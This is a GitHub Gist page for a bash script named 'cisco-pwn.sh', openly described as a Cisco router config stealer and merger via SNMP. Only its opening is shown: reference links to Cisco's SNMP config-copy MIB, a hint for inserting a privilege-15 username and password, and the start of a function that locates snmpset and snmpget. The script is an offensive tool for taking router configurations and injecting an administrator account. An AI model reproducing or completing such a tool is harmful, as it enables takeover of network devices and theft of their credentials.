Skip to content

Instantly share code, notes, and snippets.

@iamenderst
iamenderst / cisco-pwn.sh
Created January 15, 2019 20:48
Cisco router config stealer and merger via SNMP
#!/bin/bash
# rui@deniable.org
# http://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html
# http://tools.cisco.com/Support/SNMP/do/BrowseOID.do
# ftp://ftp.cisco.com/pub/mibs/oid/CISCO-CONFIG-COPY-MIB.oid
# hint: username <username> privilege 15 password 0 <password>
check_tools() {
SNMPSET=`which snmpset`
SNMPGET=`which snmpget`